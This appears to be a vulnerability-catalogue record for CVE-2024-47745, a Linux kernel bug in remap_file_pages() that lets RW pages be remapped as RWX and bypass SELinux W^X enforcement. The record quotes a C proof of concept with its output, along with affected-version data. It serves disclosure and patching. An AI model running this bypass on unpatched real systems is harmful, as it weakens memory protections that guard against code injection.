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Exploitation unknown; this catalogue does not assess exploitation.

## Source facts (JSON-quoted data)
CNA source text (English)
id: "CVE-2024-47745"
idYear: 2024
status: "PUBLISHED"
publishedAt: "2024-10-21T12:14:12.488Z"
updatedAt: "2026-08-05T11:39:53.925Z"
importedAt: "2026-10-24T01:57:16.009Z"
snapshot: {"id":"cve_2026-10-24_midnight_baseline","at":"2026-10-24T00:00:00.000Z","source":"https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"}
url: "https://cveboard.org/cve/CVE-2024-47745"
json: "https://cveboard.org/cve/CVE-2024-47745.json"
sourceURL: "https://www.cve.org/CVERecord?id=CVE-2024-47745"
title: "mm: call the security_mmap_file() LSM hook in remap_file_pages()"
summary: "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat \u003e test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret \u003c= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"
affected: [{"versions":[{"version":"c8d78c1823f46519473949d33f0d1d33fe21ea16","status":"affected","versionType":"git","lessThan":"0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"},{"version":"c8d78c1823f46519473949d33f0d1d33fe21ea16","status":"affected","versionType":"git","lessThan":"49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"},{"version":"c8d78c1823f46519473949d33f0d1d33fe21ea16","status":"affected","versionType":"git","lessThan":"3393fddbfa947c8e1fdcc4509226905ffffd8b89"},{"version":"c8d78c1823f46519473949d33f0d1d33fe21ea16","status":"affected","versionType":"git","lessThan":"ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"},{"version":"c8d78c1823f46519473949d33f0d1d33fe21ea16","status":"affected","versionType":"git","lessThan":"ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"},{"version":"097f98edde717ce09f217d8a285fe357dcd29fd1","status":"affected","versionType":"git"},{"version":"3.16.59","status":"affected","versionType":"semver","lessThan":"3.17"}],"vendor":"Linux","product":"Linux","defaultStatus":"unaffected"},{"versions":[{"version":"4.0","status":"affected"},{"version":"0","status":"unaffected","versionType":"semver","lessThan":"4.0"},{"version":"6.1.120","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.1.*"},{"version":"6.6.54","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.6.*"},{"version":"6.10.13","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.10.*"},{"version":"6.11.2","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.11.*"},{"version":"6.12","status":"unaffected","versionType":"original_commit_for_fix","lessThanOrEqual":"*"}],"vendor":"Linux","product":"Linux","defaultStatus":"affected"}]

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